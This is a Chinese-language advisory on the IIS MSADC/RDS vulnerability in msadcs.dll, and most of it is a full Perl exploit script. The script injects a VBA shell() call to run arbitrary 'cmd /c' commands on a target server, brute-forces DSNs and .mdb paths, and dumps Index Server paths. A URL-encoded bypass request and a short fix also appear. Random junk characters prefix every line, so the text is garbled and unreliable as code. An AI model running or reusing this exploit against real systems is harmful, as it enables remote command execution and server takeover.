IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
H 1 I^Vij MjU|XQS: 涉及程序：
V( _1q Microsoft NT server
B*N1)J\5 y(o)} m*0 描述：
J91[w?, 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
,Cb3R|L8 12a`,~ 详细：
y L*]_ 如果你没有时间读详细内容的话，就删除:
gs5(~YiT6 c:\Program Files\Common Files\System\Msadc\msadcs.dll
Hc gvlFb 有关的安全问题就没有了。
TjyL])$ 1>"-!ADm 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
!bP%\ )5 PD)" od 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
,;_+o] 关于利用ODBC远程漏洞的描述，请参看:
)P$|9<_q7x T1]?E]m{ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6Q^~O*cw +{1.kb
Zq 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
I |U'@E http://www.microsoft.com/security/bulletins/MS99-025faq.asp .E<nQWz 8 ;$QC_l''b 这里不再论述。
L-T,[;bl DcW?L^Mst 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
<.Ws; HN} HwFX,? /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
cg.{oM wa 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
`
y\)X
C7 |5bLV^mv]i KNUK]i&L #将下面这段保存为txt文件，然后: "perl -x 文件名"
qOwql(vX /' + >/ #!perl
|^6{3a #
EU$.{C_O( # MSADC/RDS 'usage' (aka exploit) script
Ks-$:~?5": #
t:2v`uk # by rain.forest.puppy
%up?70 #
;f[lq^eV # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
E5 w;75, # beta test and find errors!
l4>^79* * {'5"i?>s0> use Socket; use Getopt::Std;
U[@y 8yN6M getopts("e:vd:h:XR", \%args);
CIjc5^Y2 m^k0j/ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!y= R)k T$I_nxh[)L if (!defined $args{h} && !defined $args{R}) {
Mfj82rHg print qq~
,%M[$S' Usage: msadc.pl -h <host> { -d <delay> -X -v }
zxbf h/= -h <host> = host you want to scan (ip or domain)
[={mCGU -d <seconds> = delay between calls, default 1 second
FEaT}/h; -X = dump Index Server path table, if available
=l/6-j^ -v = verbose
# z|Q $ -e = external dictionary file for step 5
l3>S{ \84t\jKR Or a -R will resume a command session
AcC &Q:g yD7BZI
xW ~; exit;}
ieFl4hh[G o4);5~1l $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
.T|
}rB<c if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
0zaK&]oY0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
A&Y5z[p if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
S6TNu+2w4 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
|' Fe?~P` if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
9} (w*>_L MU O<o if (!defined $args{R}){ $ret = &has_msadc;
\$ytmtf5 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
<$A,Ex94 YmziHns`b print "Please type the NT commandline you want to run (cmd /c assumed):\n"
CKYg!\g(: . "cmd /c ";
+0' F@l $in=<STDIN>; chomp $in;
fw%`[( hK $command="cmd /c " . $in ;
!%iHJwS# E
TT46%Y if (defined $args{R}) {&load; exit;}
Ld4U UB/> Ro print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?sf<cFF &try_btcustmr;
1E+12{~m"i g !'R} y print "\nStep 2: Trying to make our own DSN...";
> |$]=e,Z &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
$[ {5+ * g7 \ = print "\nStep 3: Trying known DSNs...";
&Y{^yb &known_dsn;
}LzBo \ 0 j.K?]f)h print "\nStep 4: Trying known .mdbs...";
E}@C4pS &known_mdb;
RkF#NCnL; >STtX6h if (defined $args{e}){
jD:
N)(( print "\nStep 5: Trying dictionary of DSN names...";
3k Ci5C &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
v}G^+-? g'8Y5x[ print "Sorry Charley...maybe next time?\n";
*g/k lK exit;
=[6^NR( YW7W6mWspS ##############################################################################
,>GHR{7>( ~b f\fPm sub sendraw { # ripped and modded from whisker
LdPLC':}x| sleep($delay); # it's a DoS on the server! At least on mine...
YuX JT* my ($pstr)=@_;
"-J 5!y*,Y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4&/CES die("Socket problems\n");
JU 9 GJ" if(connect(S,pack "SnA4x8",2,80,$target)){
XYEwn_Y select(S); $|=1;
6Sr]<I +: print $pstr; my @in=<S>;
fab'\|Y select(STDOUT); close(S);
,X4e?$7g return @in;
jvzioFCt } else { die("Can't connect...\n"); }}
dbI>\khI .tngN<f ##############################################################################
~zVxprEf_
hAGHb +: sub make_header { # make the HTTP request
XzUGlrp:Y# my $msadc=<<EOT
z/@_?01T = POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
}A#IBqf5 User-Agent: ACTIVEDATA
g@.$P>Bh Host: $ip
y.r N ( Content-Length: $clen
h9vcN#22D Connection: Keep-Alive
[a=exK swKkY`g ADCClientVersion:01.06
+v Bi7#& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Q;M\fBQO}& ?,} u6tH --!ADM!ROX!YOUR!WORLD!
$3-v W{< Content-Type: application/x-varg
+>$]leqa Content-Length: $reqlen
}F`|_8L*v) oMh$:jR $ EOT
g'0CYY ; $msadc=~s/\n/\r\n/g;
^D yw(>9 return $msadc;}
>Vuvbo x#rgFY,TY ##############################################################################
dP5x]'"x 3EoCEPb# sub make_req { # make the RDS request
d*(aue= my ($switch, $p1, $p2)=@_;
1b,a3w(:1 my $req=""; my $t1, $t2, $query, $dsn;
&!!*xv-z 5> k:PKHL if ($switch==1){ # this is the btcustmr.mdb query
?jx]%n fV $query="Select * from Customers where City=" . make_shell();
VF]AH}H8I $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
)*') $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
I>c,Bo7 k+<9 4 5kC elsif ($switch==2){ # this is general make table query
N8<J'7% $query="create table AZZ (B int, C varchar(10))";
)^2eC<t $dsn="$p1";}
\}j MC {SoI;o_> elsif ($switch==3){ # this is general exploit table query
v4$/LUJZ p $query="select * from AZZ where C=" . make_shell();
#c"eff $dsn="$p1";}
lC i{v. mU'<:gL+ elsif ($switch==4){ # attempt to hork file info from index server
RNg?o [S $query="select path from scope()";
9shf y4?k $dsn="Provider=MSIDXS;";}
]WT@&F FG? Mc'r& elsif ($switch==5){ # bad query
la!]Y-s)'4 $query="select";
. [|UNg $dsn="$p1";}
s I ,!+ ~9X^3 .nI $t1= make_unicode($query);
@AyteHK
$t2= make_unicode($dsn);
<izQ]\kL $req = "\x02\x00\x03\x00";
/{M<FVXK+| $req.= "\x08\x00" . pack ("S1", length($t1));
YQVo7"`% $req.= "\x00\x00" . $t1 ;
&|v) $req.= "\x08\x00" . pack ("S1", length($t2));
sNf& "C!; $req.= "\x00\x00" . $t2 ;
f XD+ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@d75X Y Ku return $req;}
|tXA$}"L8 4l D$'` ##############################################################################
UaT%tv>}8# qJ ey&_ sub make_shell { # this makes the shell() statement
}@DCc f$< return "'|shell(\"$command\")|'";}
) SV. | j=\h|^gA ##############################################################################
@s5=6z]=H eP{srP3 9 sub make_unicode { # quick little function to convert to unicode
`lhw*{3A my ($in)=@_; my $out;
AGBV7Kk for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
exRw, Nk4 return $out;}
7DB_Z /uU 'yo@5*x7 ##############################################################################
_e%D/ } W4^L_p>Tm^ sub rdo_success { # checks for RDO return success (this is kludge)
SV7;B?e%Y my (@in) = @_; my $base=content_start(@in);
$|4@Zx4vf if($in[$base]=~/multipart\/mixed/){
[W[{
4 Xu return 1 if( $in[$base+10]=~/^\x09\x00/ );}
p R0[qsQM return 0;}
?R`S - QcegT/v O ##############################################################################
0K!3Ny9( 4GYi' sub make_dsn { # this makes a DSN for us
lE xQp2E my @drives=("c","d","e","f");
WQ|:TLQ print "\nMaking DSN: ";
,'L>:pF3 foreach $drive (@drives) {
PyeNu3Il4 print "$drive: ";
@ "w4R6l+* my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
CH++3i2& "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
*TOd Iq&z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
C@M-_Ud>Q $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
wj[yo
S return 0 if $2 eq "404"; # not found/doesn't exist
_]:b@gXUw if($2 eq "200") {
*k?:k78L foreach $line (@results) {
E)b$;' return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
'' 17(% } return 0;}
:e1h!G pEyZH !W ##############################################################################
[4KQcmJc# YAi-eL67l sub verify_exists {
y\Wn:RR1 [ my ($page)=@_;
h>Kx my @results=sendraw("GET $page HTTP/1.0\n\n");
1"
'3/MFQ8 return $results[0];}
Ple.fKu kk4 |4 ##############################################################################
!$I~3_c 5 ep I'D sub try_btcustmr {
_~FfG!H ^X my @drives=("c","d","e","f");
aq,1'~8 XR my @dirs=("winnt","winnt35","winnt351","win","windows");
I}$`gUXX8x '|yx B') foreach $dir (@dirs) {
Bk8}K=%w print "$dir -> "; # fun status so you can see progress
<JPN<
Kv foreach $drive (@drives) {
.1QGNW print "$drive: "; # ditto
,0'G HQWz$ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
*CN *G" $reqlenlen=length( "$reqlen" );
d3%qYL_+a $clen= 206 + $reqlenlen + $reqlen;
@2(u=E: ^ 4P{|H my @results=sendraw(make_header() . make_req(1,$drive,$dir));
K)SWM3r if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
#*A'<Zm
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
/<[0o]
3@Ndn ##############################################################################
nnlj# Z[O
hZ 9 sub odbc_error {
zCs34=3 D[ my (@in)=@_; my $base;
HcRw9,I' my $base = content_start(@in);
bW yimr&B if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
FvT&nb{ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(Tx_`rO4VY $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0aT:Gy; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m:BzIcW<\ return $in[$base+4].$in[$base+5].$in[$base+6];}
Y:*% [\R print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
~ !uX"F8Xl print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
z']6C9m} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
xj5TnE9^ }n)0}U5;0 ##############################################################################
fy+5i^{= /*C!]Z>. sub verbose {
\p!U Y 3' my ($in)=@_;
C T~6T&' return if !$verbose;
xd?=#d print STDOUT "\n$in\n";}
NKY|Z\ n6O z[7M ##############################################################################
n%Oi~7> pl8b&bLzi sub save {
~cU1
/CW8 my ($p1, $p2, $p3, $p4)=@_;
M+"6VtZH open(OUT, ">rds.save") || print "Problem saving parameters...\n";
#p+iwW- print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
0 kJ8H!~u close OUT;}
Y e0,0Fpw Mo/R+\u+Y ##############################################################################
lpi"@3 _hnsH
I!oD sub load {
!vX4_!% my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~EtGR #
N open(IN,"<rds.save") || die("Couldn't open rds.save\n");
RO3L ZBL @p=<IN>; close(IN);
T;M
;c. U $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
iXWzIb}CJ- $target= inet_aton($ip) || die("inet_aton problems");
Om .%K>V print "Resuming to $ip ...";
]9!y3"..W{ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
SIK:0>yK" if($p[1]==1) {
:'h$]p% $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
pq*e0uW $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Q#MB=:0 { my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
4 !sK>l! if (rdo_success(@results)){print "Success!\n";}
{S 0-y else { print "failed\n"; verbose(odbc_error(@results));}}
av'DyNW\ elsif ($p[1]==3){
~[=<O s if(run_query("$p[3]")){
S1|5+ P Ps print "Success!\n";} else { print "failed\n"; }}
6R :hs C$ elsif ($p[1]==4){
w!lk&7Q7Z if(run_query($drvst . "$p[3]")){
zJXK:/ print "Success!\n"; } else { print "failed\n"; }}
u| KjoO
exit;}
Na@bXcz ) Z?P^ Y%ls ##############################################################################
hp f0fU loA/d sub create_table {
MkW=sD_ my ($in)=@_;
V 7,dx@J- $reqlen=length( make_req(2,$in,"") ) - 28;
Gf8 ^nfr $reqlenlen=length( "$reqlen" );
[%k8l~ 6 $clen= 206 + $reqlenlen + $reqlen;
si&du my @results=sendraw(make_header() . make_req(2,$in,""));
# WjQ'c: return 1 if rdo_success(@results);
/? %V%
n my $temp= odbc_error(@results); verbose($temp);
Z/,R{Jgt" return 1 if $temp=~/Table 'AZZ' already exists/;
GR|\OJ<2 return 0;}
P!-RZEt$ 2l?^\9& ##############################################################################
kq | !{_
G#[A'tbKk sub known_dsn {
yjT>bu]
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
DN:|
s+Lz my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
{Q> OZm\+ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
20I`F>-* "banner", "banners", "ads", "ADCDemo", "ADCTest");
2]kGD eSr k"#gSCW$ foreach $dSn (@dsns) {
n1%2 sV )> print ".";
ILr=< j next if (!is_access("DSN=$dSn"));
1;[KBYUH if(create_table("DSN=$dSn")){
< T>s;b print "$dSn successful\n";
MK3h~` is if(run_query("DSN=$dSn")){
nlpEkq print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
VL)<u"d4 print "Something's borked. Use verbose next time\n";}}} print "\n";}
"U^m~N9k{ #E+ybwA ##############################################################################
@QTw 9,pS 1 G]D:9-? sub is_access {
`M~R4l r my ($in)=@_;
:G>w MMv&z $reqlen=length( make_req(5,$in,"") ) - 28;
YPx+9^) $reqlenlen=length( "$reqlen" );
4AN8Sx( $clen= 206 + $reqlenlen + $reqlen;
)bM ,>x my @results=sendraw(make_header() . make_req(5,$in,""));
KBM*7raA my $temp= odbc_error(@results);
'( I0VJJ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ZK;/~9KU return 0;}
9mxg$P4 ]Y?Y$> ##############################################################################
3;buC|ky A+^okT37r sub run_query {
m 3UK`~ji my ($in)=@_;
M|c_P)7ym $reqlen=length( make_req(3,$in,"") ) - 28;
'v^V g $reqlenlen=length( "$reqlen" );
Xz @#,F:@ $clen= 206 + $reqlenlen + $reqlen;
u7mPp 3ZYK my @results=sendraw(make_header() . make_req(3,$in,""));
/"J 6``MV return 1 if rdo_success(@results);
^g4Gw6q 6 my $temp= odbc_error(@results); verbose($temp);
PVg<Ovi^d return 0;}
' pgP QM< pO *[~yq5 ##############################################################################
t+ w{uwEY rf H1Zl sub known_mdb {
(z Fqb,P my @drives=("c","d","e","f","g");
umns*U%T; my @dirs=("winnt","winnt35","winnt351","win","windows");
id" `o my $dir, $drive, $mdb;
i&m_G5u88 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2.WI".&y= QM8Ic,QFvo # this is sparse, because I don't know of many
R*vQ vO%)h my @sysmdbs=( "\\catroot\\icatalog.mdb",
,c"J[$i$ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
| Uics:cQC "\\system32\\certmdb.mdb",
{C&U q#V "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
0 g30nr) f I=G>[ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
s! 2[zJ19p "\\cfusion\\cfapps\\forums\\forums_.mdb",
hZ fj$|< "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
)Xqjl "\\cfusion\\cfapps\\security\\realm_.mdb",
g*a+$' "\\cfusion\\cfapps\\security\\data\\realm.mdb",
`(HvD] l "\\cfusion\\database\\cfexamples.mdb",
`Pc6
G*p "\\cfusion\\database\\cfsnippets.mdb",
:pM 8Q1:B "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
>3p~>;9sc "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
E"9(CjbQ[ "\\cfusion\\brighttiger\\database\\cleam.mdb",
{U 2AAQSa "\\cfusion\\database\\smpolicy.mdb",
|kK5:\H "\\cfusion\\database\cypress.mdb",
mt+i0PIfj "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
e_e\Ie/pDc "\\website\\cgi-win\\dbsample.mdb",
y?a71b8m "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
yZ{yzv'D& "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
s .p>
?U ); #these are just
7LU^Xm8 foreach $drive (@drives) {
"x R6~8 foreach $dir (@dirs){
]+Lr 'HF foreach $mdb (@sysmdbs) {
2$ Xof print ".";
|l8=z*v< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
( m p print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
oc)`hg2= if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
1N(#4mE= print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
hYpxkco"4' } else { print "Something's borked. Use verbose next time\n"; }}}}}
QOEi.b8r B!pz0K*uG foreach $drive (@drives) {
zYV{ |Z foreach $mdb (@mdbs) {
61Cc? a*_ print ".";
/i8OyRpSyk if(create_table($drv . $drive . $dir . $mdb)){
;&<N1 print "\n" . $drive . $dir . $mdb . " successful\n";
-XXsob}/8 if(run_query($drv . $drive . $dir . $mdb)){
^7 \ kvW print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
x?o#}:S } else { print "Something's borked. Use verbose next time\n"; }}}}
RAl/p9\A+ }
?:3hp2k< R_B0CM<! ##############################################################################
o) XrC !. ,J;Qt sub hork_idx {
M>Q Z N print "\nAttempting to dump Index Server tables...\n";
gdeM,A| print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
D& F{0 $reqlen=length( make_req(4,"","") ) - 28;
N#Rb8&G)b $reqlenlen=length( "$reqlen" );
EA(4xj&:U $clen= 206 + $reqlenlen + $reqlen;
1Sz tN3'q my @results=sendraw2(make_header() . make_req(4,"",""));
w[d8#U if (rdo_success(@results)){
w r"0+J7 my $max=@results; my $c; my %d;
c45 s
#6 for($c=19; $c<$max; $c++){
}O7sP^ $results[$c]=~s/\x00//g;
) Xg5=zn$ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
UH-873AK $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
rmzzbLTu $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
H2%Qu<Kg2 $d{"$1$2"}="";}
*V hEl7 foreach $c (keys %d){ print "$c\n"; }
OY}FtG y } else {print "Index server doesn't seem to be installed.\n"; }}
C0[U}Y/r2 s1Acl\l-uF ##############################################################################
Hh Q0> j~>{P=_} sub dsn_dict {
beo(7,=& open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:=y5713 while(<IN>){
z EU[u7% $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
wp&G ]/4m next if (!is_access("DSN=$dSn"));
[-*&ZYp if(create_table("DSN=$dSn")){
d^A] ]Xg print "$dSn successful\n";
T='uqKW\ if(run_query("DSN=$dSn")){
4 *qBu}( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]O@iT= *3 print "Something's borked. Use verbose next time\n";}}}
I3.. Yk%7 print "\n"; close(IN);}
}},0#Ap ?D .+D( ##############################################################################
_M/N_Fm #?w07/~L sub sendraw2 { # ripped and modded from whisker
LH2B*8=^2 sleep($delay); # it's a DoS on the server! At least on mine...
=_#b
.8K my ($pstr)=@_;
.f J8 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
]uox ^HC die("Socket problems\n");
pZ'q_Ou x if(connect(S,pack "SnA4x8",2,80,$target)){
\"(?k>]E print "Connected. Getting data";
,i6 E L open(OUT,">raw.out"); my @in;
pi"M*$ select(S); $|=1; print $pstr;
vQLYWRXiA while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
uX1; close(OUT); select(STDOUT); close(S); return @in;
=xm7i#1 } else { die("Can't connect...\n"); }}
*"WP*A\1 |:5O|m ' ##############################################################################
'(@q "`n ZwBz\jmbP sub content_start { # this will take in the server headers
I MwV9rF my (@in)=@_; my $c;
~BuzI9~7P for ($c=1;$c<500;$c++) {
w{aGH/LN if($in[$c] =~/^\x0d\x0a/){
3h:~NL if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
j zV"( p! else { return $c+1; }}}
: W 0p3 6" return -1;} # it should never get here actually
1 2U]= sMGo1pG( ##############################################################################
N _ NN0 ? Vd~ sub funky {
eR \duZ!` my (@in)=@_; my $error=odbc_error(@in);
BS fmS(. if($error=~/ADO could not find the specified provider/){
:
B&~q$ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
c ^ds|7i]a exit;}
C
zJ-tEO if($error=~/A Handler is required/){
w\G J,e print "\nServer has custom handler filters (they most likely are patched)\n";
4,LS08&gh exit;}
T" {~mQ* if($error=~/specified Handler has denied Access/){
kMCP .D45; print "\nServer has custom handler filters (they most likely are patched)\n";
:Q DkaA exit;}}
AuQ|CXG-\ 4Y?2u ##############################################################################
5kw
K% Gw3+TvwU+Q sub has_msadc {
[ @lK[7 u my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
6:G&x<{ my $base=content_start(@results);
GKIzU^f return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
n7bVL #Sq[ return 0;}
9JP:wE~y >
f X^NX ########################
b5)^g+8)w K9EHT- >hNSEWMY` 解决方案：
1ARtFR2C{b 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
<8 <P, 2、移除web 目录: /msadc
